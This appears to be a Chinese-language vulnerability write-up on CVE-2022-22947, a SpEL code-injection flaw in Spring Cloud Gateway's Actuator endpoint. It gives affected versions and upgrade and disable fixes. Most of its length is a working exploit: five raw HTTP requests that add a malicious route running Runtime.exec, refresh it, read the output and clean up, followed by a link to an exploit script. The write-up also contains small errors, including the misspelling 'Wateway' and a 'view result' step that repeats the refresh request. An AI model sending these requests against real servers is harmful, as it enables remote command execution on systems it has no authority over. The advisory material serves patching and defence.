一、漏洞說明:
SpringCloud Gateway 是 Spring Cloud 的一個全新項目,該項目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技術開發的網關,它旨在為微服務架構提供一種簡單有效的統一的 API 路由管理方式。2022年3月1日,Vmware官方針對SpringCloud Gateway釋出初始漏洞報告。
使用Spring Cloud Gateway的應用程式在Actuator端點在啟用、公開和不安全的情況下容易受到代碼注入的攻擊。攻擊者可以惡意建立允許在遠端主機上執行任意遠端執行的請求。漏洞細節如下:
CVE編号:CVE-2022-22947
影響版本:Spring Cloud Wateway:3.1.0、3.0.0 -> 3.0.6、其他更低版本
漏洞危害等級:超危
漏洞詳細資訊:
https://github.com/tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway
https://tanzu.vmware.com/security/cve-2022-22947
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
修複建議:受影響版本的使用者需要應用以下修正。
3.1.x 使用者應更新到 3.1.1+。
3.0.x 使用者應更新到 3.0.7+。
如果不需要網關執行器終結點,則應通過 management.endpoint.gateway.enabled:false 禁用它。
如果在使用過程中,需要執行器,使用者應該及時修複
https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。
已解決此問題的版本包括:
Vmware Spring Cloud Gateway 3.1.1+
Vmware Spring Cloud Gateway 3.0.7+
引用:https://tanzu.vmware.com/security/cve-2022-22947
二、漏洞細節:
利用原理:
漏洞分為5個請求
第一個請求(發送如下資料包即可添加一個包含惡意SpEL表達式的路由):
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 366
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
第二個請求(重新整理剛添加的路由):
POST /actuator/gateway/refresh HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第三個請求(檢視執行結果):
POST /actuator/gateway/refresh HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第四個請求(清理添加的路由):
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第五個請求(重新整理路由):
POST /actuator/gateway/refresh HTTP/1.1
Host:ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞利用腳本:
https://github.com/tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway